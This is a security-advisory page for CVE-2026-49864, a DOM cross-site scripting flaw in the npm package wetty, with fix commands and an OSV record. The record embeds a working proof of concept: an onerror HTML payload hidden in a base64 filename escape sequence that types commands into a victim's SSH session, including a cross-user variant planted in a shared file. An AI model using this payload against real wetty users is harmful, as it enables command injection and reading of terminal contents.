Vulnerabilities in pkg:npm/wetty
PACKAGECVE-2026-49864 is a HIGH cross-site scripting vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting Wetty libraries in the npm ecosystem. The issue involves wetty vulnerable to dom xss via file-download filename. Remediation is available by upgrading affected packages to version 3.0.4.
pkg:npm/wetty
Vulnerability advisories affecting package pkg:npm/wetty. Select an advisory below to view technical details or fixes.
| Advisory ID | CVE / NVD | Severity | Summary |
|---|---|---|---|
| GHSA-p26j-h7wj-r568 | CVE-2026-49864 | HIGH | wetty vulnerable to DOM XSS via file-download filename |
CVE-2026-49864 at a Glance
How to Fix CVE-2026-49864
To remediate this vulnerability, upgrade all affected Wetty dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install wetty@3.0.4
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls wetty
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-49864, inspect your project dependencies using npm:
npm ls wetty
Analyze the terminal output to locate any version of Wetty in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.0.4), your application is affected.
Note: The npm ls wetty command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In Wetty, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-49864 Affected Wetty Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
wetty
|
npm |
< 3.0.4
|
3.0.4
|
References
Frequently Asked Questions
What is CVE-2026-49864?
Which Wetty versions are affected?
What version fixes CVE-2026-49864?
Is wetty affected?
What CWE is associated with CVE-2026-49864?
How can I check npm dependencies for CVE-2026-49864?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-p26j-h7wj-r568",
"modified" : "2026-07-01T18:19:39Z",
"published" : "2026-07-01T18:19:39Z",
"aliases" : [ "CVE-2026-49864" ],
"summary" : "wetty vulnerable to DOM XSS via file-download filename",
"details" : "### Summary\n\nThe wetty client decodes a base64 filename from the file-download escape sequence and interpolates it raw into a Toastify HTML string (`escapeMarkup: false`). Any output the victim renders - a `cat`'d file, a tailed log, an SSH MOTD, a `curl` response - that contains `\\x1b[5i...:...\\x1b[4i` runs script in the wetty origin and types attacker-chosen keystrokes into the victim's SSH session.\n\n### Preconditions\n\n- Victim has wetty open with an active SSH session.\n- Attacker delivers the file-download escape sequence (`\\x1b[5i<b64-name>:<b64-content>\\x1b[4i`) into output the victim's terminal renders.\n- Default configuration; no non-default flags required.\n\n### Details\n\n```typescript\n// src/client/wetty.ts:37, 46-62\nconst fileDownloader = new FileDownloader();\n// ...\nsocket.on('data', (data: string) => {\n const remainingData = fileDownloader.buffer(data);\n // every PTY byte forwarded by the server passes through buffer()\n // ...\n})\n```\n\nEvery byte the server forwards from the PTY passes through `FileDownloader.buffer`. The buffer scans for the documented file-download markers `\\x1b[5i` (begin) and `\\x1b[4i` (end) - documented in `docs/downloading-files.md` - and, on a complete match, hands the inner payload to `onCompleteFile`.\n\n```typescript\n// src/client/wetty/download.ts:9-77\nfunction onCompleteFile(bufferCharacters: string): void {\n let fileNameBase64;\n let fileCharacters = bufferCharacters;\n if (bufferCharacters.includes(':')) {\n [fileNameBase64, fileCharacters] = bufferCharacters.split(':');\n }\n // ...\n void detectAndDownload(bytes, fileCharacters, fileNameBase64);\n}\n\nasync function detectAndDownload(/* ... */): Promise<void> {\n // ...\n let fileName;\n try {\n if (fileNameBase64 !== undefined) {\n fileName = window.atob(fileNameBase64); // attacker-controlled\n }\n } catch { /* ... */ }\n fileName ??= `file-${ /* timestamp default */ }`;\n // ...\n Toastify({\n text: `Download ready: <a href=\"${blobUrl}\" target=\"_blank\" `\n + `download=\"${fileName}\">${fileName}</a>`, // sink\n duration: 10000,\n // ...\n escapeMarkup: false,\n }).showToast();\n}\n```\n\n`fileName` is base64-decoded from the escape-sequence payload, then interpolated twice into a string that Toastify renders as raw HTML (`escapeMarkup: false`). No HTML escaping runs between `atob` and the toast markup. The wetty client exposes the live terminal as `window.wetty_term`, and `term.input(data, true)` (`src/client/wetty/term.ts:80, 93-97, 132, 145-198`) fires xterm.js's `onData`, which `src/client/wetty.ts:40-42` forwards as a socket `input` event - i.e., script in the wetty origin types into the victim's SSH session.\n\n### Proof of concept\n\n**Setup**\n\n1. Bring up wetty and its bundled SSH host from a fresh clone:\n\n ```bash\n git clone https://github.com/butlerx/wetty\n cd wetty\n docker compose up -d\n sleep 5\n ```\n\n2. Open `http://localhost/wetty` in a browser. The login terminal prompts for a username (enter `term`) then proxies to `wetty-ssh`, which prompts for the SSH password (also `term`, set in `containers/ssh/Dockerfile`). The browser tab now holds a shell on the SSH container.\n\n**Exploit**\n\n1. In the SSH session, build and emit the escape sequence. The filename portion carries the HTML payload; the content portion is a short literal so the toast renders quickly:\n\n ```bash\n PAYLOAD='\"><img src=x onerror=\"window.wetty_term.input(\\\"id > /tmp/pwned\\\\n\\\",true)\">'\n FNAME_B64=$(printf '%s' \"$PAYLOAD\" | base64 -w0)\n DATA_B64=$(printf 'bait' | base64 -w0)\n printf '\\x1b[5i%s:%s\\x1b[4i' \"$FNAME_B64\" \"$DATA_B64\"\n ```\n\n Expected: a Toastify notification appears at the bottom-right of the wetty page. Its DOM contains the attacker-supplied `<img>` element with the `onerror` handler.\n\n2. The `onerror` handler calls `window.wetty_term.input(\"id > /tmp/pwned\\n\", true)`, which xterm.js dispatches as a `data` event; `src/client/wetty.ts:40-42` forwards it as a socket `input` event; the server writes it to the PTY. The SSH host runs `id > /tmp/pwned` as the connected user:\n\n ```bash\n cat /tmp/pwned\n ```\n\n Expected: `uid=1000(term) gid=1000(term) groups=1000(term)`.\n\n3. The same chain works cross-user. On a shared SSH host, a low-privileged user plants the sequence in a file the higher-privileged user reads via wetty:\n\n ```bash\n # As the low-priv user on the SSH host\n printf '\\x1b[5i%s:%s\\x1b[4i' \"$FNAME_B64\" \"$DATA_B64\" > /tmp/notes.txt\n ```\n\n When the higher-privileged user's wetty session runs `cat /tmp/notes.txt`, attacker-controlled JavaScript types commands into that user's shell.\n\n### Impact\n\n- **Confidentiality:** Reads the rendered terminal contents via `window.wetty_term.buffer.active`.\n- **Integrity:** Types attacker-chosen commands into the victim's SSH session via `window.wetty_term.input()`.\n- **Auth:** A writer of content the victim renders gains keystroke injection in the victim's higher-privileged session - a path from any local SSH user to commands as the wetty user.\n\n### Suggestions to fix\n\n> _This has not been tested - it is illustrative only._\n\nHTML-escape the decoded filename before interpolating it into Toastify's HTML markup at `src/client/wetty/download.ts:67-77`.\n\n```diff\n fileName ??= `file-${new Date()\n .toISOString()\n .split('.')[0]\n .replace(/-/g, '')\n .replace('T', '')\n .replace(/:/g, '')}${fileExt ? `.${fileExt}` : ''}`;\n+ const safeName = fileName.replace(/[&<>\"']/g, (c) =>\n+ ({ '&': '&', '<': '<', '>': '>', '\"': '"', \"'\": ''' })[c] ?? c,\n+ );\n\n const blob = new Blob([bytes.buffer as ArrayBuffer], { type: mimeType });\n const blobUrl = URL.createObjectURL(blob);\n\n Toastify({\n- text: `Download ready: <a href=\"${blobUrl}\" target=\"_blank\" download=\"${fileName}\">${fileName}</a>`,\n+ text: `Download ready: <a href=\"${blobUrl}\" target=\"_blank\" download=\"${safeName}\">${safeName}</a>`,\n duration: 10000,\n```",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "wetty"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "3.0.4"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/butlerx/wetty/security/advisories/GHSA-p26j-h7wj-r568"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/butlerx/wetty"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-79" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-07-01T18:19:39Z",
"nvd_published_at" : null
}
}